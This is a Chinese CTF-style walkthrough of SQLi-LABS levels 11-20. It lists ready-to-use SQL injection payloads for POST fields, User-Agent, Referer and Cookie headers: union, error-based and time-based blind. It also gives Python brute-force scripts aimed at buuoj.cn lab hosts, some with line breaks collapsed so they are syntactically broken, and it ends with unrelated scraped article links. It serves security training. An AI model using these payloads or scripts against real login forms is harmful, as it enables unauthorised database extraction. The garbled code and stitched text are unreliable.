SQLi-LABS Less-11

查看题目环境

首先可以看到这题传入正确的账号密码,会有数据回显

测试注入点

尝试post

uname=admin'

通过报错语句可以发现用单引号即可闭合
post

uname=admin' or '1'='1

页面正常显示数据
post

uname=admin' and '1'='2

页面无数据显示
由此可以判断出:此处具有uname处存在Sql注入漏洞

SQL注入

因为前面测得具有回显,所以采取union联合查询
流程为

查找列数

uname=admin' order by 2 #

“#” 用于注释掉sql语句后面的内容,最终查出返回的列数为2列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)

查询数据库

uname=-1' union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)#

这边id传入一个数据库中没有的值即可,因为如果是数据库中存在的值,即会返回多条记录,会显示前一个找到的值,而我们想要的将无法显示。
同时我们使用GROUP_CONCAT将查询到的数据库名拼接显示

查询数据库中的表

uname=-1' union select 1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" )#

查表中的字段

uname=-1' union select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')#

查数据

uname=-1' union select 1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)#

SQLi-LABS Less-12

查看题目环境

首先可以看到这题传入正确的账号密码,会有数据回显

测试注入点

尝试post

uname=admin"

通过报错语句可以发现他服务器端的sql语句是用")闭合的
post

uname=admin") or '1'='1' #

页面正常显示数据
post

uname=admin") and '1'='2' #

页面无数据显示
由此可以判断出:此处具有uname处存在Sql注入漏洞

SQL注入

因为前面测得具有回显,所以采取union联合查询
流程为

查找列数

uname=admin") order by 2 #

“#” 用于注释掉sql语句后面的内容,最终查出返回的列数为2列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)

查询数据库

uname=-1") union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)#

这边id传入一个数据库中没有的值即可,因为如果是数据库中存在的值,即会返回多条记录,会显示前一个找到的值,而我们想要的将无法显示。
同时我们使用GROUP_CONCAT将查询到的数据库名拼接显示

查询数据库中的表

uname=-1") union select 1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" )#

查表中的字段

uname=-1") union select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')#

查数据

uname=-1") union select 1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)#

SQLi-LABS Less-13

查看题目环境

首先可以看到这题传入账号密码,并不会有回显的数据,所以这题不能用联合查询

测试注入点

尝试post

uname=admin'

通过报错语句可以发现他服务器端的sql语句是用‘)闭合的
同时因为不存在回显的数据,所以可以尝试报错注入
post

uname=admin') and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #

页面正常显示数据
post
uname=admin") and ‘1’=‘2’ #
页面无数据显示
由此可以判断出:此处具有uname处存在Sql注入漏洞

SQL注入

因为前面测得没有回显,但又报错信息,所以使用报错注入
流程为

查询数据库

uname=admin') and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #

通过报错注入,因为所有数据库拼接的长度大于了64个字符,所以使用limit 一个一个数据库查

查询数据库中的表

uname=admin') and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #

查表中的字段

uname=admin') and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #

查数据

uname=admin') and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #

SQLi-LABS Less-14

查看题目环境

首先可以看到这题传入账号密码或者尝试引号闭合,并不会有回显的数据,也不有报错信息,所以这题不能用联合查询和报错注入

测试注入点

尝试使用盲注测试脚本

import requests
import time
ss = time.time()
url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-14/"
data={'uname':"admin\" and sleep(5) #",'passwd':'admin'
}
t=requests.post(url,data)if time.time()-ss>=4:print("is Time")

由此可以判断出:此处具有uname处存在Sql盲注漏洞

SQL注入

使用脚本的sleep函数时间自行控制,因为不同服务器的响应时间不同,sleep时间越久,越准确。因为若sleep时间短了,有可能因为本身服务器响应较慢导致爆破出来的值错误

时间盲注脚本

import requests
import time
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"
url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-14/"
while True:for i in table:ss = time.time()data_database = {'uname':'''admin\" and ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_table = {'uname':'''admin\" and ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_column = {'uname':'''admin\" and ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_flag = {'uname':'''admin\" and ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}#t=requests.post(url,data_database)#t=requests.post(url,data_table)#t=requests.post(url,data_column)t=requests.post(url,data_flag)if time.time()-ss>=4:flag += iprint (flag)
        break

SQLi-LABS Less-15

查看题目环境

首先可以看到这题传入账号密码或者尝试引号闭合,并不会有回显的数据,也不有报错信息,所以这题不能用联合查询和报错注入

测试注入点

尝试使用盲注测试脚本,主要 为了测试如何去闭合前面内容,来构造出正确的sql语句

import requests
import time
ss = time.time()
url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-15/"
data={'uname':"admin' and sleep(5) #",'passwd':'admin'
}
t=requests.post(url,data)
if time.time()-ss>=4:print("is Time")

由此可以判断出:此处具有uname处存在Sql盲注漏洞

SQL注入

使用脚本的sleep函数时间自行控制,因为不同服务器的响应时间不同,sleep时间越久,越准确。因为若sleep时间短了,有可能因为本身服务器响应较慢导致爆破出来的值错误

时间盲注脚本

import requests
import time
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"
url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-15/"
while True:for i in table:ss = time.time()data_database = {'uname':'''admin' and ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_table = {'uname':'''admin' and ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_column = {'uname':'''admin' and ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_flag = {'uname':'''admin' and ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}#t=requests.post(url,data_database)#t=requests.post(url,data_table)#t=requests.post(url,data_column)t=requests.post(url,data_flag)if time.time()-ss>=4:flag += iprint (flag)break

SQLi-LABS Less-16

查看题目环境

首先可以看到这题传入账号密码或者尝试引号闭合,并不会有回显的数据,也不有报错信息,所以这题不能用联合查询和报错注入

测试注入点

尝试使用盲注测试脚本,主要 为了测试如何去闭合前面内容,来构造出正确的sql语句

import requests
import timess = time.time()
url="http://83152ef4-5545-4380-bb72-f2aabfa6e179.node1.buuoj.cn/Less-16/"
data={'uname':"admin\") and sleep(5) #",'passwd':'admin'
}
t=requests.post(url,data)
if time.time()-ss>=4:print("is Time")

由此可以判断出:此处具有uname处存在Sql盲注漏洞

SQL注入

使用脚本的sleep函数时间自行控制,因为不同服务器的响应时间不同,sleep时间越久,越准确。因为若sleep时间短了,有可能因为本身服务器响应较慢导致爆破出来的值错误

如果数据库中的内容不在table内,可以直接使用ascii表来作为table,设置常见table是为了脚本跑的更快

时间盲注脚本

import requests
import time
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"
url="http://83152ef4-5545-4380-bb72-f2aabfa6e179.node1.buuoj.cn/Less-16/"
while True:for i in table:ss = time.time()data_database = {'uname':'''admin") and ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_table = {'uname':'''admin") and ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_column = {'uname':'''admin") and ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_flag = {'uname':'''admin") and ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}#t=requests.post(url,data_database)#t=requests.post(url,data_table)#t=requests.post(url,data_column)t=requests.post(url,data_flag)if time.time()-ss>=4:flag += iprint (flag)break

SQLi-LABS Less-17

查看题目环境

首先可以看到这题传入账号和想要重置的密码,当传入合法的输入时,会提示你密码修改成功

测试注入点

尝试post

uname=admin&passwd=admin'

通过报错语句可以发现他服务器端的sql语句
由此可以判断出,在passwd处存在报错注入,且可用单引号闭合

SQL注入

查询数据库

uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #

通过报错注入,因为所有数据库拼接的长度大于了64个字符,所以使用limit 逐个查询

查询数据库中的表

uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #

查表中的字段

uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #

查数据

uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) #

SQLi-LABS Less-18

查看题目环境

登陆给我回显的数据是我的User Agent。
尝试bp抓包

可以看到我们发送请求的时候将我们的User-Agent传入到了服务器端,然后记录到了数据库里面。

测试注入点

尝试控制User-Agent

User-Agent=1

User-Agent=1'

通过报错语句可以发现他可以使用单引号闭合,又因为没有具体数据的回显
由此可以判断出,存在报错注入

SQL注入

查询数据库

User-Agent=1'  and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)  or '1'='1

通过报错注入,因为所有数据库拼接的长度大于了64个字符,所以使用limit 逐个查询

查询数据库中的表

User-Agent=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

查表中的字段

User-Agent=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

查数据

User-Agent=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

SQLi-LABS Less-19

查看题目环境

登陆给我回显的数据是我的Referer。
可以想到我们发送请求的时候将我们的Referert传入到了服务器端,然后记录到了数据库里面。

测试注入点

尝试控制Referer

Referer=1

Referer=1'

通过报错语句可以发现他可以使用单引号闭合,又因为没有具体数据的回显
由此可以判断出,存在报错注入

SQL注入

查询数据库

Referer=1'  and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)  or '1'='1

通过报错注入,因为所有数据库拼接的长度大于了64个字符,所以使用limit 逐个查询

查询数据库中的表

Referer=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

查表中的字段

Referer=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

查数据

Referer=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

SQLi-LABS Less-20

查看题目环境

登陆给我回显的数据是I LOVE YOU COOKIES。
尝试bp抓包

猜测应该是将我们的cookie传入到了服务器端,然后记录到了数据库里面。

测试注入点

尝试Cookie= uname=admin

发现有回显数据
尝试

Cookie= uname=admin'

报错信息如下

通过报错语句可以发现他服务器端的sql语句是用单引号闭合的
因为有详细数据回显,所以判断可以使用Union联合查询

SQL注入

因为前面测得具有回显,所以采取union联合查询
流程为

查找列数

Cookie: uname=admin' order by 3 #

–+用于注释掉sql语句后面的内容,最终查出返回的列数为3列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)

查询数据库

Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) #

这边uname传入一个数据库中没有的值即可,因为如果是数据库中存在的值,即会返回多条记录,会显示前一个找到的值,而我们想要的将无法显示。
同时我们使用GROUP_CONCAT将查询到的数据库名拼接显示

查询数据库中的表

Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" ) #

查表中的字段

Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag') #

查数据

Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag) #

SQLi-LABS(11~20关详解)相关推荐

  1. mysql int(3)与int(11)的区别详解

    这篇文章主要介绍了mysql int(3)与int(11)的区别详解的相关资料,需要的朋友可以参考下 mysql int(3)与int(11)的区别 总结,int(M) zerofill,加上zero ...

  2. XSS-labs(1-10)闯关详解

    XSS-labs(1-10)闯关详解 XSS漏洞简述 第一关 第二关 第三关 第四关 第五关 第六关 第七关 第八关 第九关 第十关 XSS漏洞简述 攻击原理 跨站脚本攻击是指恶意攻击者往Web页面里 ...

  3. 牛客网 Java 工程师能力评估 20 题 - 详解

    牛客网 Java 工程师能力评估 20 题 - 详解 不知在看博客的你是否知道 牛客网,不知道就太落后了,分享给你 : 牛客网 此 20 题,绝对不只是 20 题! 免责声明:本博客为学习笔记,如有侵 ...

  4. mysql8.0.11 安装顺序_mysql 8.0.11 安装步骤详解

    本文为大家分享了mysql 8.0.11 安装步骤,供大家参考,具体内容如下 第一步:下载安装包 MYSQL官方下载地址:官方下载 这里第一项是在线安装,第二项是离线包安装,我选择的是第二项(不用管你 ...

  5. XSS Challenges stage#1-10闯关详解

    XSS Challenges stage1-10闯关详解 文章目录 XSS Challenges stage1-10闯关详解 0x01 xss challenges 闯关环境准备 1.XSS chal ...

  6. WindowsMediaPlayer 11 控件详解

    WindowsMediaPlayer 11 控件详解 转载别人的VB内容 C#中大多也通用 都是Microsoft的作品 . 属性/方法名: 说明: [基本属性] URL:String; 指定媒体位置 ...

  7. ROS(11)move_base详解

    11. move_base详解 11.1. move_base配置参数解读 参考链接:https://blog.csdn.net/banzhuan133/article/details/9023925 ...

  8. vue 生命周期的11中方法详解

    vue 生命周期的十一中方法详解 vue 生命周期的定义 vue实例 从创建到销毁,也就是说从创建 -> 初始化 数据-> 编译模版 -> 挂载Dom -> 渲染 更新 -&g ...

  9. C++11迭代器专栏详解

    c++迭代器详解 迭代器介绍 初步使用迭代器 所有迭代器都支持的运算符 迭代器类型 迭代器范围 使用左闭合范围蕴含的编程假定 迭代器的类别 为什么这样分类? 输入迭代器(input iterator) ...

最新文章

  1. jquery 获取一组元素的选中项 - 函数、jquery获取复选框值、jquery获取单选按钮值...
  2. RFM模型分析与客户细分
  3. DDoS高防服务如何选择?
  4. HttpClient实现CSDN自动登录
  5. 【opencv】14.cv::cvtColor函数转换颜色空间时使用CV_RGB2BGR与CV_BGR2RGB结果一样的原因
  6. 传说之下地图素材_文旅黄陵——轩辕黄帝传说故事(十一) 杜康酿酒的传说...
  7. c#窗口科学计算机,c#窗口科学计算器连等如何实现,大神帮忙一下好么?
  8. RedisTemplate value序列化导致的问题
  9. 双机热备_双机热备软件哪个好?双机热备软件推荐
  10. 大数据专家手把手教你打造实时数据湖
  11. 科技社计算机部长竞选演讲稿,护理组长竞聘演讲稿_计算机专业组长竞聘演讲稿范文...
  12. shell每日一句(3)
  13. ThinkPHP高仿蓝奏云网盘系统源码/对接易支付系统程序
  14. 学习日记day31 平面设计 字体构图风格2
  15. 战网服务器组件,架设自己的战网服务器
  16. 高等数学:第五章 定积分(2) 定积分的性质、中值定理
  17. Ubuntu 设置合上笔记本盖子不休眠的方法
  18. K.im团队与Kim Dotcom AMA直播回顾
  19. win10 icc文件路径
  20. 【我的新书】分布式微服务架构:原理与实战

热门文章

  1. android 简单的音乐播放器实现播放模式的切换
  2. 五十六、教用Python中的turtle海龟画图(上篇)
  3. linux日志中显示skipping,linux推荐使用logrotate自动管理日志文件
  4. 从ICCV 2021看夜间场景自监督深度估计最新进展
  5. 两个多元正态分布的KL散度、巴氏距离和W距离
  6. 辰星计划2021 | 旷视春季实习生招募—空中宣讲会第二弹来了!
  7. 再谈变分自编码器VAE:从贝叶斯观点出发
  8. 使用格式工厂把视频进行旋转
  9. 【Windows工具】BBDown.exe B站视频下载工具详细使用说明(https://github.com/nilaoda/BBDown)
  10. Spring Cloud Security:Oauth2实现单点登录